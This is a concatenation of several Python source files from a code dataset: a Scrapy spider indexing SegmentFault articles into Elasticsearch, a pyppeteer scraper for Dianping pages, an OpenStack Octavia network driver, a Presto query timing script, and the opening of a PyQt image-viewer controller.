dateutil.parser import parse as dateparse\n\n# settings.py\nfrom dotenv import load_dotenv\nfrom pathlib import Path\n\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import logger as es_logger\n\nes_logger.setLevel(50)\nes_user = os.getenv(\"ES_USER\")\nes_pwd = os.getenv(\"ES_PWD\")\nes = Elasticsearch(http_auth=(es_user, es_pwd))\n\nclass AliSpider(scrapy.Spider):\n # 593\n name = \"sf2\"\n\n # 593\n source = \"sf\"\n handle_httpstatus_list = [404,503]\n domain = 'https://segmentfault.com'\n\n today = time.strftime(\"%Y-%m-%d\")\n yesterday = (datetime.date.today() +\n datetime.timedelta(-1)).strftime(\"%Y-%m-%d\")\n last2day = (datetime.date.today() +\n datetime.timedelta(-2)).strftime(\"%Y-%m-%d\")\n\n tagId = {\n \"python\": \"python\",\n \"php\": \"php\",\n \"javascript\": \"javascript\",\n \"css\": \"css\",\n \"typescript\": \"typescript\",\n \"blockchain\": \"区块链\",\n \"postgresql\": \"postgresql\",\n \"linux\": \"linux\",\n \"ubuntu\": \"ubuntu\",\n \"node\": \"node.js\",\n \"html\": \"html\",\n \"html5\": \"html5\",\n \"css3\": \"css3\",\n \"ai\": \"人工智能\",\n \"npl\": \"自然语言处理\",\n \"dataprocessing\": \"数据挖掘\",\n \"bigdata\": \"大数据\",\n \"machine-learn\": \"机器学习\",\n \"deep-learn\": \"深度学习\",\n \"mysql\": \"mysql\",\n \"composer\": \"composer\",\n \"nginx\": \"nginx\",\n \"db\": \"数据库\",\n \"postgresql\": \"postgresql\",\n \"redis\": \"redis\",\n \"elasticsearch\": \"elasticsearch\",\n \"solr\": \"solr\",\n \"search-engine\": \"搜索引擎\",\n \"elastic\": \"elastic\"\n }\n\n headers = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\n \"Content-Type\": \"application/json;charset=UTF-8\",\n \"accept-encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"en,zh-CN;q=0.9,zh;q=0.8,zh-TW;q=0.7\",\n \"pragma\": \"no-cache\",\n \"referer\": \"https://segmentfault.com/search?q=python&type=article&page=1\",\n \"sec-fetch-mode\": \"navigate\",\n \"sec-fetch-site\": \"same-origin\",\n \"sec-fetch-user\": \"?1\",\n \"upgrade-insecure-requests\": \"1\",\n }\n\n urlTmpl = Template(\n 'https://segmentfault.com/t/${tagId}/blogs?page=${page}'\n )\n\n page = 1\n # max_page = 0\n\n def start_requests(self):\n\n self.tar_arr = []\n\n for item in self.tagId:\n self.tar_arr.append({'k': item, 'v': self.tagId[item]})\n\n self._target = self.tar_arr.pop()\n\n url = self.get_url()\n\n yield scrapy.Request(url, headers=self.headers)\n\n def get_url(self):\n\n return self.urlTmpl.substitute(\n page=self.page, tagId=self._target['v'])\n\n def parse(self, response):\n \n if response.status == 200:\n items = response.xpath(\n '//*[@class=\"content\"]')\n\n if len(items) > 0:\n bulk = []\n for item in items:\n\n title_a = item.xpath('.//h5/a')\n titles = title_a.xpath('.//text()').getall()\n title = \"\".join(titles)\n title = title.strip()\n\n url = title_a.xpath('.//@href').get()\n \n createdAtZone = item.xpath('.//div/span/text()').getall()\n author = item.xpath('.//div/a/span/text()').get()\n author_url = self.domain + item.xpath('.//div/a/@href').get()\n \n createdAt = createdAtZone[0].strip().replace(\" \",\"\").replace(\"发布于\",\"\").replace(\"\\n\",\"\")\n\n isToday = re.match(r'今天', createdAt)\n isMinAgo = re.match(r'.*分钟前.*', createdAt)\n isCurYear = re.match(r'.*月.*日.*', createdAt)\n isDatetime = re.match(r'\\d{4}-\\d{1,2}-\\d{1,2}', createdAt)\n\n if isToday != None:\n createdAt = self.today + \"T\" +createdAt.replace(\"今天\",\"\") + \":00Z\"\n\n if isMinAgo != None:\n min = createdAt.replace(\"分钟前\",\"\").strip()\n c = time.time() - int(min) * 60\n createdAt = time.strftime('%Y-%m-%dT%H:%M:%SZ', time.localtime(c))\n\n if isCurYear != None:\n createdAt = \"2021-\"+createdAt\n createdAt = datetime.datetime.strptime(createdAt, \"%Y-%m月%d日\")\n createdAt = str(createdAt).replace(\" 00:00:00\",\"T00:00:00Z\")\n\n if isDatetime != None:\n createdAt = createdAt+\"T00:00:00Z\"\n\n detail = item.xpath(\n './/p[contains(@class,\"excerpt\")]/text()').get()\n\n createdYear = createdAt.split('-')[0]\n \n doc = {}\n doc['title'] = title\n doc['url'] = self.domain+url\n doc['summary'] = detail\n doc['tag'] = self._target['k']\n doc['source'] = self.source\n doc['author'] = author\n doc['author_url'] = author_url\n doc['created_at'] = createdAt\n doc['created_year'] = createdYear\n \n doc['stars'] = 0\n\n bulk.append(\n {\"index\": {\"_index\": \"article\"}})\n bulk.append(doc)\n\n if len(bulk) > 0:\n es.bulk(index=\"article\", body=bulk)\n\n if len(items) == 0:\n if len(self.tar_arr) > 0:\n self._target = self.tar_arr.pop()\n self.page = 1\n url = self.get_url()\n yield scrapy.Request(url, headers=self.headers)\n\n else:\n print(\"Spider closeed\")\n else:\n self.page = self.page+1\n url = self.get_url()\n yield scrapy.Request(url, headers=self.headers)\n \n","sub_path":"scrapy/tutorial/spiders/sf2.py","file_name":"sf2.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"558312449","text":"import asyncio\nfrom pyppeteer import launch\nimport requests\nfrom pyquery import PyQuery as pq\nimport time\nimport random\nfrom bs4 import BeautifulSoup\n\n\nwidth, height = 1280, 800\nasync def get_cookie(url1):\n\n # --disable-infobars, 禁止提示\n # window-size, 设置页面显示\n browser = await launch(headless=False, autoClose=False, args=['--disable-infobars', f'--window-size={width},{height}'])\n\n page = await browser.newPage()\n\n await page.setViewport({'width': width, 'height': height})\n await page.goto(url1, {'waitUntil':'domcontentloaded'}) # 不加这个参数会, 点评页面会加载很久\n\n print(await page.cookies())\n print(page.url)\n\n #\n await page.click('#nav > div > ul > li:nth-child(5) > div.primary-container > span > a:nth-child(3)')\n\n # print(await page.content())\n\n await asyncio.sleep(2)\n pages = await browser.pages()\n\n print(pages[-1].url)\n # print(await pages[-1].content())\n #J_nav_tabs > a.cur > span\n\n #J_nav_tabs > a:nth-child(3)\n #J_nav_tabs > a.cur\n # await pages[-1].click('#J_nav_tabs > a:nth-child(2)')\n #\n # element = await pages[-1].querySelector('#region-nav') # 只抓取一个\n # print(element)\n # # 获取所有文本内容 执行 js\n # content = await pages[-1].evaluate('(element) => element.textContent', element)\n # print(content)\n #classfy > a:nth-child(1)\n await pages[-1].click('#classfy > a:nth-child(2)')\n\n # 如果不加这行, 不会加载到这个页面的内容\n await pages[-1].waitForNavigation()\n\n print(pages[-1].url)\n content = await pages[-1].content()\n\n soup = BeautifulSoup(content, features=\"lxml\")\n # print(content)\n\n all_regions = soup.find('div', attrs={'id':'region-nav'}).find_all('a')\n\n print(all_regions)\n\n for item in all_regions:\n await asyncio.sleep(2)\n\n url = item.get('href')\n region = item.get_text()\n print(url, region)\n\n page = await browser.newPage()\n await page.goto(url, {'waitUntil':'domcontentloaded'})\n\n content1 = await page.content()\n\n soup1 = BeautifulSoup(content1, features=\"lxml\")\n max_size = soup1.find('div', attrs={'class':'page'}).find_all('a')[-2].get('title')\n print('最大页码', max_size)\n # for page in all_pages:\n # print(page.get('title'))\n\n\n # all_pages = soup1.find('div', attrs={'class':'page'}).find_all('a')\n # for page in all_pages:\n # print(page.get('title'))\n # print(all_pages)\n\n\nif __name__ == '__main__':\n\n # asyncio.get_event_loop().run_until_complete(get_cookie('http://www.dianping.com/shop/65751792'))\n asyncio.get_event_loop().run_until_complete(get_cookie('http://www.dianping.com/nanjing'))\n\n","sub_path":"web/spider2/dianping_get_pages.py","file_name":"dianping_get_pages.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"571018100","text":"# Copyright 2014 Rackspace\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nfrom neutronclient.common import exceptions as neutron_client_exceptions\nfrom novaclient import exceptions as nova_client_exceptions\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nimport six\n\nfrom octavia.common import clients\nfrom octavia.common import constants\nfrom octavia.common import data_models\nfrom octavia.network import base\nfrom octavia.network import data_models as n_data_models\nfrom octavia.network.drivers.neutron import base as neutron_base\nfrom octavia.network.drivers.neutron import utils\n\nimport ipaddress\n\n\nLOG = logging.getLogger(__name__)\nAAP_EXT_ALIAS = 'allowed-address-pairs'\nVIP_SECURITY_GRP_PREFIX = 'lb-'\nOCTAVIA_OWNER = 'Octavia'\n\nCONF = cfg.CONF\n\n\nclass AllowedAddressPairsDriver(neutron_base.BaseNeutronDriver):\n\n def __init__(self):\n super(AllowedAddressPairsDriver, self).__init__()\n self._check_aap_loaded()\n self.nova_client = clients.NovaAuth.get_nova_client(\n endpoint=CONF.nova.endpoint,\n region=CONF.nova.region_name,\n endpoint_type=CONF.nova.endpoint_type,\n service_name=CONF.nova.service_name,\n insecure=CONF.nova.insecure,\n cacert=CONF.nova.ca_certificates_file\n )\n\n def _check_aap_loaded(self):\n if not self._check_extension_enabled(AAP_EXT_ALIAS):\n raise base.NetworkException(\n 'The {alias} extension is not enabled in neutron. This '\n 'driver cannot be used with the {alias} extension '\n 'disabled.'.format(alias=AAP_EXT_ALIAS))\n\n def _get_interfaces_to_unplug(self, interfaces, network_id,\n ip_address=None):\n ret = []\n for interface in interfaces:\n if interface.network_id == network_id:\n if ip_address:\n for fixed_ip in interface.fixed_ips:\n if ip_address == fixed_ip.ip_address:\n ret.append(interface)\n else:\n ret.append(interface)\n return ret\n\n def _get_plugged_interface(self, compute_id, network_id, lb_network_ip):\n interfaces = self.get_plugged_networks(compute_id)\n for interface in interfaces:\n is_correct_interface = interface.network_id == network_id\n for ip in interface.fixed_ips:\n if ip.ip_address == lb_network_ip:\n is_correct_interface = False\n if is_correct_interface:\n return interface\n\n def _plug_amphora_vip(self, amphora, subnet):\n # We need a vip port owned by Octavia for Act/Stby and failover\n try:\n port = {'port': {'name': 'octavia-lb-vrrp-' + amphora.id,\n 'network_id': subnet.network_id,\n 'fixed_ips': [{'subnet_id': subnet.id}],\n 'admin_state_up': True,\n 'device_owner': OCTAVIA_OWNER}}\n new_port = self.neutron_client.create_port(port)\n new_port = utils.convert_port_dict_to_model(new_port)\n\n LOG.debug('Created vip port: %(port_id)s for amphora: %(amp)s',\n {'port_id': new_port.id, 'amp': amphora.id})\n\n interface = self.plug_port(amphora, new_port)\n except Exception:\n message = _('Error plugging amphora (compute_id: {compute_id}) '\n 'into vip network {network_id}.').format(\n compute_id=amphora.compute_id,\n network_id=subnet.network_id)\n LOG.exception(message)\n raise base.PlugVIPException(message)\n return interface\n\n def _add_vip_address_pair(self, port_id, vip_address):\n try:\n self._add_allowed_address_pair_to_port(port_id, vip_address)\n except neutron_client_exceptions.PortNotFoundClient as e:\n raise base.PortNotFound(e.message)\n except Exception:\n message = _('Error adding allowed address pair {ip} '\n 'to port {port_id}.').format(ip=vip_address,\n port_id=port_id)\n LOG.exception(message)\n raise base.PlugVIPException(message)\n\n def _get_lb_security_group(self, load_balancer_id):\n sec_grp_name = VIP_SECURITY_GRP_PREFIX + load_balancer_id\n sec_grps = self.neutron_client.list_security_groups(name=sec_grp_name)\n if sec_grps and sec_grps.get('security_groups'):\n return sec_grps.get('security_groups')[0]\n\n def _get_ethertype_for_ip(self, ip):\n address = ipaddress.ip_address(\n ip if isinstance(ip, six.text_type) else six.u(ip))\n return 'IPv6' if address.version is 6 else 'IPv4'\n\n def _update_security_group_rules(self, load_balancer, sec_grp_id):\n rules = self.neutron_client.list_security_group_rules(\n security_group_id=sec_grp_id)\n updated_ports = [\n listener.protocol_port for listener in load_balancer.listeners\n if listener.provisioning_status != constants.PENDING_DELETE and\n listener.provisioning_status != constants.DELETED]\n peer_ports = [\n listener.peer_port for listener in load_balancer.listeners\n if listener.provisioning_status != constants.PENDING_DELETE and\n listener.provisioning_status != constants.DELETED]\n updated_ports.extend(peer_ports)\n # Just going to use port_range_max for now because we can assume that\n # port_range_max and min will be the same since this driver is\n # responsible for creating these rules\n old_ports = [rule.get('port_range_max')\n for rule in rules.get('security_group_rules', [])\n # Don't remove egress rules and don't\n # confuse other protocols with None ports\n # with the egress rules. VRRP uses protocol\n # 51 and 112\n if rule.get('direction') != 'egress' and\n rule.get('protocol').lower() == 'tcp']\n add_ports = set(updated_ports) - set(old_ports)\n del_ports = set(old_ports) - set(updated_ports)\n for rule in rules.get('security_group_rules', []):\n if rule.get('port_range_max') in del_ports:\n self.neutron_client.delete_security_group_rule(rule.get('id'))\n\n ethertype = self._get_ethertype_for_ip(load_balancer.vip.ip_address)\n for port in add_ports:\n self._create_security_group_rule(sec_grp_id, 'TCP', port_min=port,\n port_max=port,\n ethertype=ethertype)\n\n # Currently we are using the VIP network for VRRP\n # so we need to open up the protocols for it\n if (CONF.controller_worker.loadbalancer_topology ==\n constants.TOPOLOGY_ACTIVE_STANDBY):\n try:\n self._create_security_group_rule(\n sec_grp_id,\n constants.VRRP_PROTOCOL_NUM,\n direction='ingress',\n ethertype=ethertype)\n except neutron_client_exceptions.Conflict:\n # It's ok if this rule already exists\n pass\n except Exception as e:\n raise base.PlugVIPException(str(e))\n\n try:\n self._create_security_group_rule(\n sec_grp_id, constants.AUTH_HEADER_PROTOCOL_NUMBER,\n direction='ingress', ethertype=ethertype)\n except neutron_client_exceptions.Conflict:\n # It's ok if this rule already exists\n pass\n except Exception as e:\n raise base.PlugVIPException(str(e))\n\n def _update_vip_security_group(self, load_balancer, vip):\n sec_grp = self._get_lb_security_group(load_balancer.id)\n if not sec_grp:\n sec_grp_name = VIP_SECURITY_GRP_PREFIX + load_balancer.id\n sec_grp = self._create_security_group(sec_grp_name)\n self._update_security_group_rules(load_balancer, sec_grp.get('id'))\n self._add_vip_security_group_to_port(load_balancer.id, vip.port_id,\n sec_grp.get('id'))\n\n def _add_vip_security_group_to_port(self, load_balancer_id, port_id,\n sec_grp_id=None):\n sec_grp_id = (sec_grp_id or\n self._get_lb_security_group(load_balancer_id).get('id'))\n try:\n self._add_security_group_to_port(sec_grp_id, port_id)\n except base.PortNotFound:\n raise\n except base.NetworkException as e:\n raise base.PlugVIPException(str(e))\n\n def _delete_vip_security_group(self, sec_grp):\n \"\"\"Deletes a security group in neutron.\n\n Retries upon an exception because removing a security group from\n a neutron port does not happen immediately.\n \"\"\"\n attempts = 0\n while attempts <= CONF.networking.max_retries:\n try:\n self.neutron_client.delete_security_group(sec_grp)\n LOG.info(\"Deleted security group %s\", sec_grp)\n return\n except neutron_client_exceptions.NotFound:\n LOG.info(\"Security group %s not found, will assume it is \"\n \"already deleted\", sec_grp)\n return\n except Exception:\n LOG.warning(\"Attempt %(attempt)s to remove security group \"\n \"%(sg)s failed.\",\n {'attempt': attempts + 1, 'sg': sec_grp})\n attempts += 1\n time.sleep(CONF.networking.retry_interval)\n message = _(\"All attempts to remove security group {0} have \"\n \"failed.\").format(sec_grp)\n LOG.exception(message)\n raise base.DeallocateVIPException(message)\n\n @staticmethod\n def _filter_amphora(amp):\n return amp.status == constants.AMPHORA_ALLOCATED\n\n def _delete_security_group(self, vip, port):\n if self.sec_grp_enabled:\n sec_grp = self._get_lb_security_group(vip.load_balancer.id)\n if sec_grp:\n sec_grp = sec_grp.get('id')\n LOG.info(\n \"Removing security group %(sg)s from port %(port)s\",\n {'sg': sec_grp, 'port': vip.port_id})\n raw_port = self.neutron_client.show_port(port.id)\n sec_grps = raw_port.get('port', {}).get('security_groups', [])\n if sec_grp in sec_grps:\n sec_grps.remove(sec_grp)\n port_update = {'port': {'security_groups': sec_grps}}\n self.neutron_client.update_port(port.id, port_update)\n self._delete_vip_security_group(sec_grp)\n\n def deallocate_vip(self, vip):\n \"\"\"Delete the vrrp_port (instance port) in case nova didn't\n\n This can happen if a failover has occurred.\n \"\"\"\n for amphora in six.moves.filter(self._filter_amphora,\n vip.load_balancer.amphorae):\n try:\n self.neutron_client.delete_port(amphora.vrrp_port_id)\n except (neutron_client_exceptions.NotFound,\n neutron_client_exceptions.PortNotFoundClient):\n LOG.debug('VIP instance port %s already deleted. Skipping.',\n amphora.vrrp_port_id)\n\n try:\n port = self.get_port(vip.port_id)\n except base.PortNotFound:\n msg = (\"Can't deallocate VIP because the vip port {0} cannot be \"\n \"found in neutron\".format(vip.port_id))\n raise base.VIPConfigurationNotFound(msg)\n\n self._delete_security_group(vip, port)\n\n if port.device_owner == OCTAVIA_OWNER:\n try:\n self.neutron_client.delete_port(vip.port_id)\n except Exception:\n message = _('Error deleting VIP port_id {port_id} from '\n 'neutron').format(port_id=vip.port_id)\n LOG.exception(message)\n raise base.DeallocateVIPException(message)\n else:\n LOG.info(\"Port %s will not be deleted by Octavia as it was \"\n \"not created by Octavia.\", vip.port_id)\n\n def plug_vip(self, load_balancer, vip):\n if self.sec_grp_enabled:\n self._update_vip_security_group(load_balancer, vip)\n plugged_amphorae = []\n subnet = self.get_subnet(vip.subnet_id)\n for amphora in six.moves.filter(\n lambda amp: amp.status == constants.AMPHORA_ALLOCATED,\n load_balancer.amphorae):\n\n interface = self._get_plugged_interface(\n amphora.compute_id, subnet.network_id, amphora.lb_network_ip)\n if not interface:\n interface = self._plug_amphora_vip(amphora, subnet)\n\n self._add_vip_address_pair(interface.port_id, vip.ip_address)\n if self.sec_grp_enabled:\n self._add_vip_security_group_to_port(load_balancer.id,\n interface.port_id)\n vrrp_ip = None\n for fixed_ip in interface.fixed_ips:\n is_correct_subnet = fixed_ip.subnet_id == subnet.id\n is_management_ip = fixed_ip.ip_address == amphora.lb_network_ip\n if is_correct_subnet and not is_management_ip:\n vrrp_ip = fixed_ip.ip_address\n break\n plugged_amphorae.append(data_models.Amphora(\n id=amphora.id,\n compute_id=amphora.compute_id,\n vrrp_ip=vrrp_ip,\n ha_ip=vip.ip_address,\n vrrp_port_id=interface.port_id,\n ha_port_id=vip.port_id))\n return plugged_amphorae\n\n def allocate_vip(self, load_balancer):\n if load_balancer.vip.port_id:\n LOG.info('Port %s already exists. Nothing to be done.',\n load_balancer.vip.port_id)\n port = self.get_port(load_balancer.vip.port_id)\n return self._port_to_vip(port, load_balancer)\n\n # It can be assumed that network_id exists\n port = {'port': {'name': 'octavia-lb-' + load_balancer.id,\n 'network_id': load_balancer.vip.network_id,\n 'admin_state_up': False,\n 'device_id': 'lb-{0}'.format(load_balancer.id),\n 'device_owner': OCTAVIA_OWNER}}\n try:\n new_port = self.neutron_client.create_port(port)\n except Exception:\n message = _('Error creating neutron port on network '\n '{network_id}.').format(\n network_id=load_balancer.vip.network_id)\n LOG.exception(message)\n raise base.AllocateVIPException(message)\n new_port = utils.convert_port_dict_to_model(new_port)\n return self._port_to_vip(new_port, load_balancer)\n\n def unplug_vip(self, load_balancer, vip):\n try:\n subnet = self.get_subnet(vip.subnet_id)\n except base.SubnetNotFound:\n msg = (\"Can't unplug vip because vip subnet {0} was not \"\n \"found\").format(vip.subnet_id)\n LOG.exception(msg)\n raise base.PluggedVIPNotFound(msg)\n for amphora in six.moves.filter(\n lambda amp: amp.status == constants.AMPHORA_ALLOCATED,\n load_balancer.amphorae):\n\n interface = self._get_plugged_interface(\n amphora.compute_id, subnet.network_id, amphora.lb_network_ip)\n if not interface:\n # Thought about raising PluggedVIPNotFound exception but\n # then that wouldn't evaluate all amphorae, so just continue\n LOG.debug('Cannot get amphora %s interface, skipped',\n amphora.compute_id)\n continue\n try:\n self.unplug_network(amphora.compute_id, subnet.network_id)\n except Exception:\n pass\n try:\n aap_update = {'port': {\n 'allowed_address_pairs': []\n }}\n self.neutron_client.update_port(interface.port_id,\n aap_update)\n except Exception:\n message = _('Error unplugging VIP. Could not clear '\n 'allowed address pairs from port '\n '{port_id}.').format(port_id=vip.port_id)\n LOG.exception(message)\n raise base.UnplugVIPException(message)\n\n # Delete the VRRP port if we created it\n try:\n port = self.get_port(amphora.vrrp_port_id)\n if port.name.startswith('octavia-lb-vrrp-'):\n self.neutron_client.delete_port(amphora.vrrp_port_id)\n except base.PortNotFound:\n pass\n except Exception as e:\n LOG.error('Failed to delete port. Resources may still be in '\n 'use for port: %(port)s due to error: %s(except)s',\n {'port': amphora.vrrp_port_id, 'except': e})\n\n def plug_network(self, compute_id, network_id, ip_address=None):\n try:\n interface = self.nova_client.servers.interface_attach(\n server=compute_id, net_id=network_id, fixed_ip=ip_address,\n port_id=None)\n except nova_client_exceptions.NotFound as e:\n if 'Instance' in e.message:\n raise base.AmphoraNotFound(e.message)\n elif 'Network' in e.message:\n raise base.NetworkNotFound(e.message)\n else:\n raise base.PlugNetworkException(e.message)\n except Exception:\n message = _('Error plugging amphora (compute_id: {compute_id}) '\n 'into network {network_id}.').format(\n compute_id=compute_id,\n network_id=network_id)\n LOG.exception(message)\n raise base.PlugNetworkException(message)\n\n return self._nova_interface_to_octavia_interface(compute_id, interface)\n\n def unplug_network(self, compute_id, network_id, ip_address=None):\n interfaces = self.get_plugged_networks(compute_id)\n if not interfaces:\n msg = ('Amphora with compute id {compute_id} does not have any '\n 'plugged networks').format(compute_id=compute_id)\n raise base.AmphoraNotFound(msg)\n\n unpluggers = self._get_interfaces_to_unplug(interfaces, network_id,\n ip_address=ip_address)\n try:\n for index, unplugger in enumerate(unpluggers):\n self.nova_client.servers.interface_detach(\n server=compute_id, port_id=unplugger.port_id)\n except Exception:\n message = _('Error unplugging amphora {amphora_id} from network '\n '{network_id}.').format(amphora_id=compute_id,\n network_id=network_id)\n if len(unpluggers) > 1:\n message = _('{base} Other interfaces have been successfully '\n 'unplugged: ').format(base=message)\n unpluggeds = unpluggers[:index]\n for unplugged in unpluggeds:\n message = _('{base} neutron port '\n '{port_id} ').format(\n base=message, port_id=unplugged.port_id)\n else:\n message = _('{base} No other networks were '\n 'unplugged.').format(base=message)\n LOG.exception(message)\n raise base.UnplugNetworkException(message)\n\n def update_vip(self, load_balancer):\n sec_grp = self._get_lb_security_group(load_balancer.id)\n self._update_security_group_rules(load_balancer, sec_grp.get('id'))\n\n def failover_preparation(self, amphora):\n if self.dns_integration_enabled:\n self._failover_preparation(amphora)\n\n def _failover_preparation(self, amphora):\n interfaces = self.get_plugged_networks(compute_id=amphora.compute_id)\n\n ports = []\n for interface_ in interfaces:\n port = self.get_port(port_id=interface_.port_id)\n ips = port.fixed_ips\n lb_network = False\n for ip in ips:\n if ip.ip_address == amphora.lb_network_ip:\n lb_network = True\n if not lb_network:\n ports.append(port)\n\n for port in ports:\n try:\n self.neutron_client.update_port(port.id,\n {'port': {'dns_name': ''}})\n\n except (neutron_client_exceptions.NotFound,\n neutron_client_exceptions.PortNotFoundClient):\n raise base.PortNotFound()\n\n def plug_port(self, amphora, port):\n try:\n interface = self.nova_client.servers.interface_attach(\n server=amphora.compute_id, net_id=None,\n fixed_ip=None, port_id=port.id)\n plugged_interface = self._nova_interface_to_octavia_interface(\n amphora.compute_id, interface)\n except nova_client_exceptions.NotFound as e:\n if 'Instance' in e.message:\n raise base.AmphoraNotFound(e.message)\n elif 'Network' in e.message:\n raise base.NetworkNotFound(e.message)\n else:\n raise base.PlugNetworkException(e.message)\n except nova_client_exceptions.Conflict:\n LOG.info('Port %(portid)s is already plugged, '\n 'skipping' % {'portid': port.id})\n plugged_interface = n_data_models.Interface(\n compute_id=amphora.compute_id,\n network_id=port.network_id,\n port_id=port.id,\n fixed_ips=port.fixed_ips)\n except Exception:\n message = _('Error plugging amphora (compute_id: '\n '{compute_id}) into port '\n '{port_id}.').format(\n compute_id=amphora.compute_id,\n port_id=port.id)\n LOG.exception(message)\n raise base.PlugNetworkException(message)\n\n return plugged_interface\n\n def get_network_configs(self, loadbalancer):\n vip_subnet = self.get_subnet(loadbalancer.vip.subnet_id)\n vip_port = self.get_port(loadbalancer.vip.port_id)\n amp_configs = {}\n for amp in loadbalancer.amphorae:\n if amp.status != constants.DELETED:\n LOG.debug(\"Retrieving network details for amphora %s\", amp.id)\n vrrp_port = self.get_port(amp.vrrp_port_id)\n vrrp_subnet = self.get_subnet(\n vrrp_port.get_subnet_id(amp.vrrp_ip))\n vrrp_port.network = self.get_network(vrrp_port.network_id)\n ha_port = self.get_port(amp.ha_port_id)\n ha_subnet = self.get_subnet(\n ha_port.get_subnet_id(amp.ha_ip))\n\n amp_configs[amp.id] = n_data_models.AmphoraNetworkConfig(\n amphora=amp,\n vip_subnet=vip_subnet,\n vip_port=vip_port,\n vrrp_subnet=vrrp_subnet,\n vrrp_port=vrrp_port,\n ha_subnet=ha_subnet,\n ha_port=ha_port\n )\n return amp_configs\n\n def wait_for_port_detach(self, amphora):\n \"\"\"Waits for the amphora ports device_id to be unset.\n\n This method waits for the ports on an amphora device_id\n parameter to be '' or None which signifies that nova has\n finished detaching the port from the instance.\n\n :param amphora: Amphora to wait for ports to detach.\n :returns: None\n :raises TimeoutException: Port did not detach in interval.\n :raises PortNotFound: Port was not found by neutron.\n \"\"\"\n interfaces = self.get_plugged_networks(compute_id=amphora.compute_id)\n\n ports = []\n port_detach_timeout = CONF.networking.port_detach_timeout\n for interface_ in interfaces:\n port = self.get_port(port_id=interface_.port_id)\n ips = port.fixed_ips\n lb_network = False\n for ip in ips:\n if ip.ip_address == amphora.lb_network_ip:\n lb_network = True\n if not lb_network:\n ports.append(port)\n\n for port in ports:\n try:\n neutron_port = self.neutron_client.show_port(\n port.id).get('port')\n device_id = neutron_port['device_id']\n start = int(time.time())\n\n while device_id:\n time.sleep(CONF.networking.retry_interval)\n neutron_port = self.neutron_client.show_port(\n port.id).get('port')\n device_id = neutron_port['device_id']\n\n timed_out = int(time.time()) - start >= port_detach_timeout\n\n if device_id and timed_out:\n message = ('Port %s failed to detach (device_id %s) '\n 'within the required time (%s s).' %\n (port.id, device_id, port_detach_timeout))\n raise base.TimeoutException(message)\n\n except (neutron_client_exceptions.NotFound,\n neutron_client_exceptions.PortNotFoundClient):\n pass\n","sub_path":"octavia/network/drivers/neutron/allowed_address_pairs.py","file_name":"allowed_address_pairs.py","file_ext":"py","file_size_in_byte":26544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"12904655","text":"# from pyhive import presto\n# cursor = presto.connect(host='localhost').cursor()\n# print(cursor)\n# ok = cursor.execute(\"SELECT count(*) FROM cassandra.iqcloud_isc.event_history_all;\")\n# print(ok)\n# def get_conn(self):\n# \"\"\"Returns a connection object\"\"\"\n# db = self.get_connection(self.presto_conn_id)\n# return presto.connect(\n# host=db.host,\n# port=db.port,\n# username=db.login,\n# catalog=db.extra_dejson.get('catalog', 'hive'),\n# schema=db.schema)\n# if __name__ == \"__main__\":\n# get_conn('23')\n\n\nfrom pyhive import presto\n# import presto\nimport time\nfrom datetime import datetime\n\n\n\n\n# conn = prestodb.dbapi.connect(host='localhost', port=8040, catalog='cassandra', user=\"presto\", schema='iqcloudcapacitymeasuring')\n# cursor = conn.cursor()\n\n# cursor = presto.connect( host = 'localhost').cursor()\n\nstat = time.time()\nepochtime_script_start = datetime.timestamp(datetime.utcnow())\nconn = presto.connect(host='localhost', port=8080, catalog='cassandra')\ncursor = conn.cursor()\n\nepochtime_connecttime = datetime.timestamp(datetime.utcnow())\nprint(\"presto start time : \", epochtime_script_start)\nprint(\"presto connected at : \", epochtime_connecttime)\n\n\nquery = \"SELECT * FROM cassandra.iqcloud_isc.event_history_by_protocol_type limit 100\"\ncursor.execute(query)\nepochtime_execute = datetime.timestamp(datetime.utcnow())\n\nprint(\"presto execute at : \", epochtime_execute)\n\ndf = cursor.fetchall()\nfor i in df:\n print(i)\nprint(cursor)\n\nepochtime_fetch = datetime.timestamp(datetime.utcnow())\n\n\nprint(\"presto fetch allat : \", epochtime_fetch)\n\n\ntime_taken1 = (\"Total time taken in full Execution --- %s seconds\" % (time.time() - stat))\nprint(time_taken1)","sub_path":"codee/graphs/presto.py","file_name":"presto.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"644008395","text":"import datetime\nimport cv2\nfrom Moildev import Moildev\nfrom Moildev import read_image\n\nfrom .ui_windows.Ui_Mainwindow import *\nfrom .contoller.select_cam import OpenCameras\nfrom .contoller.videocontroller import VideoController\nfrom .contoller.showResult import ShowImageResult\nfrom .contoller.control_window import ViewWindow\nfrom .contoller.addition import select_file\nfrom .view_image.anypoint import AnyPoint\nfrom .view_image.panorama import Panorama\n\n\nclass Controller(QtWidgets.QMainWindow):\n def __init__(self, MainWindow):\n \"\"\"\n The controller class to control UI MainWindow.\n\n Args:\n MainWindow (): Its object window from parent application(argument from main apps)\n \"\"\"\n super().__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n self.parent = MainWindow\n self.ui.frame_4.hide()\n self.ui.frame_5.hide()\n self.ui.frame.hide()\n self.ui.labelRecenter.hide()\n self.ui.labelImagerecenter.hide()\n self.moildev = None\n self.image = None\n self.coordinate_point = None\n self.revImage = None\n self.resultImage = None\n self.cap = None\n self.dir_save = 